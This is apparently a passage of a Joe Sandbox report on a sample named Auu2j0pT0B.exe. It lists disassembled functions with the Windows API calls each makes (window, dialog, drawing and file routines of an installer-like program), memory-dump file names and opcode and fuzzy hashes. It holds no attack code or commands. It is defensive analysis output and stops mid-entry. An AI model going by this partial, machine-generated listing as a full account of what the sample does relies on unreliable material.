                    Function 004075BD Relevance: .3, Instructions: 300COMMON
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
                    • Instruction ID: 0a97e2f3c77d8a3c51360fc4da6bbcda8fc4cde0dfaec3b210e24d05d93e5961
                    • Opcode Fuzzy Hash: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
                    • Instruction Fuzzy Hash: 46C14872E042198BCF18DF68C4905EEB7B2BF88354F25866AD856B7380D734A942CF95
                    Function 00404F63 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetDlgItem.USER32(?,000003F9), ref: 00404F7B
                    • GetDlgItem.USER32(?,00000408), ref: 00404F86
                    • GlobalAlloc.KERNEL32(00000040,?), ref: 00404FD0
                    • LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FE7
                    • SetWindowLongW.USER32(?,000000FC,00405570), ref: 00405000
                    • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00405014
                    • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405026
                    • SendMessageW.USER32(?,00001109,00000002), ref: 0040503C
                    • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405048
                    • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040505A
                    • DeleteObject.GDI32(00000000), ref: 0040505D
                    • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405088
                    • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405094
                    • SendMessageW.USER32(?,00001132,00000000,?), ref: 0040512F
                    • SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040515F
                      • Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,00000001,00404356), ref: 00404539
                    • SendMessageW.USER32(?,00001132,00000000,?), ref: 00405173
                    • GetWindowLongW.USER32(?,000000F0), ref: 004051A1
                    • SetWindowLongW.USER32(?,000000F0,00000000), ref: 004051AF
                    • ShowWindow.USER32(?,00000005), ref: 004051BF
                    • SendMessageW.USER32(?,00000419,00000000,?), ref: 004052BA
                    • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040531F
                    • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405334
                    • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405358
                    • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405378
                    • ImageList_Destroy.COMCTL32(?), ref: 0040538D
                    • GlobalFree.KERNEL32(?), ref: 0040539D
                    • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405416
                    • SendMessageW.USER32(?,00001102,?,?), ref: 004054BF
                    • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004054CE
                    • InvalidateRect.USER32(?,00000000,00000001), ref: 004054F9
                    • ShowWindow.USER32(?,00000000), ref: 00405547
                    • GetDlgItem.USER32(?,000003FE), ref: 00405552
                    • ShowWindow.USER32(00000000), ref: 00405559
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                    • String ID: $M$N
                    • API String ID: 2564846305-813528018
                    • Opcode ID: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
                    • Instruction ID: 2b71226c2ce540754c325362a134889399d6c5c4637dca841463e5b600fa6882
                    • Opcode Fuzzy Hash: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
                    • Instruction Fuzzy Hash: 8802AD70900608AFDF20DFA8DD85AAF7BB5FB45314F10817AE611BA2E1D7798A41CF58
                    Function 00403FF7 Relevance: 51.4, APIs: 34, Instructions: 357windowstringCOMMON
                    Download Yara Rule
                    APIs
                    • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404033
                    • ShowWindow.USER32(?), ref: 00404053
                    • GetWindowLongW.USER32(?,000000F0), ref: 00404065
                    • ShowWindow.USER32(?,00000004), ref: 0040407E
                    • DestroyWindow.USER32 ref: 00404092
                    • SetWindowLongW.USER32(?,00000000,00000000), ref: 004040AB
                    • GetDlgItem.USER32(?,?), ref: 004040CA
                    • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004040DE
                    • IsWindowEnabled.USER32(00000000), ref: 004040E5
                    • GetDlgItem.USER32(?,00000001), ref: 00404190
                    • GetDlgItem.USER32(?,00000002), ref: 0040419A
                    • SetClassLongW.USER32(?,000000F2,?), ref: 004041B4
                    • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00404205
                    • GetDlgItem.USER32(?,00000003), ref: 004042AB
                    • ShowWindow.USER32(00000000,?), ref: 004042CC
                    • EnableWindow.USER32(?,?), ref: 004042DE
                    • EnableWindow.USER32(?,?), ref: 004042F9
                    • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040430F
                    • EnableMenuItem.USER32(00000000), ref: 00404316
                    • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040432E
                    • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404341
                    • lstrlenW.KERNEL32(0042CA68,?,0042CA68,00000000), ref: 0040436B
                    • SetWindowTextW.USER32(?,0042CA68), ref: 0040437F
                    • ShowWindow.USER32(?,0000000A), ref: 004044B3
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
                    • String ID:
                    • API String ID: 1860320154-0
                    • Opcode ID: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
                    • Instruction ID: 8cad316efbf8f9c89f6feec2797fb874042f4abab253e3557332251604c97906
                    • Opcode Fuzzy Hash: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
                    • Instruction Fuzzy Hash: C6C1A1B1500204BBDB206F61EE89E2B3AA8FB85755F01453EF751B51F0CB39A8529B2D
                    Function 004046B5 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON
                    Download Yara Rule
                    APIs
                    • CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404753
                    • GetDlgItem.USER32(?,000003E8), ref: 00404767
                    • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404784
                    • GetSysColor.USER32(?), ref: 00404795
                    • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004047A3
                    • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004047B1
                    • lstrlenW.KERNEL32(?), ref: 004047B6
                    • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004047C3
                    • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004047D8
                    • GetDlgItem.USER32(?,0000040A), ref: 00404831
                    • SendMessageW.USER32(00000000), ref: 00404838
                    • GetDlgItem.USER32(?,000003E8), ref: 00404863
                    • SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004048A6
                    • LoadCursorW.USER32(00000000,00007F02), ref: 004048B4
                    • SetCursor.USER32(00000000), ref: 004048B7
                    • LoadCursorW.USER32(00000000,00007F00), ref: 004048D0
                    • SetCursor.USER32(00000000), ref: 004048D3
                    • SendMessageW.USER32(00000111,00000001,00000000), ref: 00404902
                    • SendMessageW.USER32(00000010,00000000,00000000), ref: 00404914
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
                    • String ID: ,F@$Del$N
                    • API String ID: 3103080414-901962471
                    • Opcode ID: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
                    • Instruction ID: ccb0ec9a7d9d767aff215416cd1a2e620de701fb5c4a8d8609e67ea5798c0c5e
                    • Opcode Fuzzy Hash: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
                    • Instruction Fuzzy Hash: 046192F1900209BFDB10AF64DD85EAA7B69FB84315F00853AFB05B65E0C778A951CF98
                    Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON
                    Download Yara Rule
                    APIs
                    • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
                    • BeginPaint.USER32(?,?), ref: 00401047
                    • GetClientRect.USER32(?,?), ref: 0040105B
                    • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                    • FillRect.USER32(00000000,?,00000000), ref: 004010E4
                    • DeleteObject.GDI32(?), ref: 004010ED
                    • CreateFontIndirectW.GDI32(?), ref: 00401105
                    • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                    • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                    • SelectObject.GDI32(00000000,?), ref: 00401140
                    • DrawTextW.USER32(00000000,00433700,000000FF,00000010,00000820), ref: 00401156
                    • SelectObject.GDI32(00000000,00000000), ref: 00401160
                    • DeleteObject.GDI32(?), ref: 00401165
                    • EndPaint.USER32(?,?), ref: 0040116E
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                    • String ID: F
                    • API String ID: 941294808-1304234792
                    • Opcode ID: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
                    • Instruction ID: eca0ad76d85821e0a7fbe67f508e5060b260b918cc65b70bf06bca200ae74670
                    • Opcode Fuzzy Hash: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
                    • Instruction Fuzzy Hash: 2F418B71800209AFCB058FA5DE459AFBFB9FF45314F00802EF591AA1A0C738EA54DFA4
                    Function 004061BD Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON
                    Download Yara Rule
                    APIs
                    • CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406358,?,?), ref: 004061F8
                    • GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 00406201
                      • Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
                      • Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E
                    • GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 0040621E
                    • wsprintfA.USER32 ref: 0040623C
                    • GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406277
                    • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406286
                    • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004062BE
                    • SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 00406314
                    • GlobalFree.KERNEL32(00000000), ref: 00406325
                    • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040632C
                      • Part of subcall function 00406067: GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\Auu2j0pT0B.exe,80000000,00000003), ref: 0040606B
                      • Part of subcall function 00406067: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040608D
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
                    • String ID: %ls=%ls$[Rename]
                    • API String ID: 2171350718-461813615
                    • Opcode ID: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
                    • Instruction ID: 21ba76f912769f78f8e3df01d85e3e27af82f360ac84a16f7af8f01611abcd2b
                    • Opcode Fuzzy Hash: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
                    • Instruction Fuzzy Hash: 66314330240325BBD2206B659D48F6B3B6CDF45708F16043EFD42B62C2DA3C982486BD
                    Function 004065B4 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 204stringCOMMON
                    Download Yara Rule
                    APIs
                    • GetSystemDirectoryW.KERNEL32(Del,00000400), ref: 004066D6
                    • GetWindowsDirectoryW.KERNEL32(Del,00000400,00000000,0042BA48,?,?,00000000,00000000,00423E20,759223A0), ref: 004066EC
                    • SHGetPathFromIDListW.SHELL32(00000000,Del), ref: 0040674A
                    • CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406753
                    • lstrcatW.KERNEL32(Del,\Microsoft\Internet Explorer\Quick Launch,00000000,0042BA48,?,?,00000000,00000000,00423E20,759223A0), ref: 0040677E
                    • lstrlenW.KERNEL32(Del,00000000,0042BA48,?,?,00000000,00000000,00423E20,759223A0), ref: 004067D8
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
                    • String ID: Del$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                    • API String ID: 4024019347-2121604768
                    • Opcode ID: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
                    • Instruction ID: fc4c1bf1ff31ba1b34cdfc75387d7881e57296f2874843d1a5ebc397bafcf832
                    • Opcode Fuzzy Hash: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
                    • Instruction Fuzzy Hash: D16135716042009BD720AF24DD80B6B76E8EF85328F12453FF647B32D0DB7D9961865E
                    Function 0040455D Relevance: 12.1, APIs: 8, Instructions: 68COMMON
                    Download Yara Rule
                    APIs
                    • GetWindowLongW.USER32(?,000000EB), ref: 0040457A
                    • GetSysColor.USER32(00000000), ref: 004045B8
                    • SetTextColor.GDI32(?,00000000), ref: 004045C4
                    • SetBkMode.GDI32(?,?), ref: 004045D0
                    • GetSysColor.USER32(?), ref: 004045E3
                    • SetBkColor.GDI32(?,?), ref: 004045F3
                    • DeleteObject.GDI32(?), ref: 0040460D
                    • CreateBrushIndirect.GDI32(?), ref: 00404617
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                    • String ID:
                    • API String ID: 2320649405-0
                    • Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
                    • Instruction ID: 3bf72a8e0ffa46ee4049c610ab3cabbd6d50cfb344f29d4a8179c655b9565abb
                    • Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
                    • Instruction Fuzzy Hash: 5C2165B1500B04ABC7319F38DE08B577BF4AF41715F04892EEA96A26E0D739D944CB54
                    Function 00402711 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON
                    Download Yara Rule
                    APIs
                    • ReadFile.KERNEL32(?,?,?,?), ref: 0040277D
                    • MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004027B8
                    • SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027DB
                    • MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027F1
                      • Part of subcall function 00406148: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040615E
                    • SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040289D
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: File$Pointer$ByteCharMultiWide$Read
                    • String ID: 9
                    • API String ID: 163830602-2366072709
                    • Opcode ID: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
                    • Instruction ID: d1aefac9689752b6b3ea6a4f87dd4281ecbe68d6f3974aa7f4e2ef829afcd0bd
                    • Opcode Fuzzy Hash: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
                    • Instruction Fuzzy Hash: 66510C75D04119AADF20EFD4CA85AAEBBB9FF44304F14817BE501B62D0D7B89D828B58
                    Function 004055FC Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlenW.KERNEL32(0042BA48,00000000,00423E20,759223A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
                    • lstrlenW.KERNEL32(0040343D,0042BA48,00000000,00423E20,759223A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
                    • lstrcatW.KERNEL32(0042BA48,0040343D,0040343D,0042BA48,00000000,00423E20,759223A0), ref: 00405657
                    • SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405669
                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
                    • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
                    • SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: MessageSend$lstrlen$TextWindowlstrcat
                    • String ID:
                    • API String ID: 2531174081-0
                    • Opcode ID: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
                    • Instruction ID: 60923f6e922cea494a698f26c75bee70e53a21f42b4b77269416c2a585f1ce57
                    • Opcode Fuzzy Hash: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
                    • Instruction Fuzzy Hash: 9A21A171900258BACB119FA5ED449DFBFB4EF45310F50843AF908B22A0C3794A40CFA8
                    Function 00406825 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON
                    Download Yara Rule
                    APIs
                    • CharNextW.USER32(?,*?|<>/":,00000000,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
                    • CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
                    • CharNextW.USER32(?,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
                    • CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Char$Next$Prev
                    • String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
                    • API String ID: 589700163-1201062745
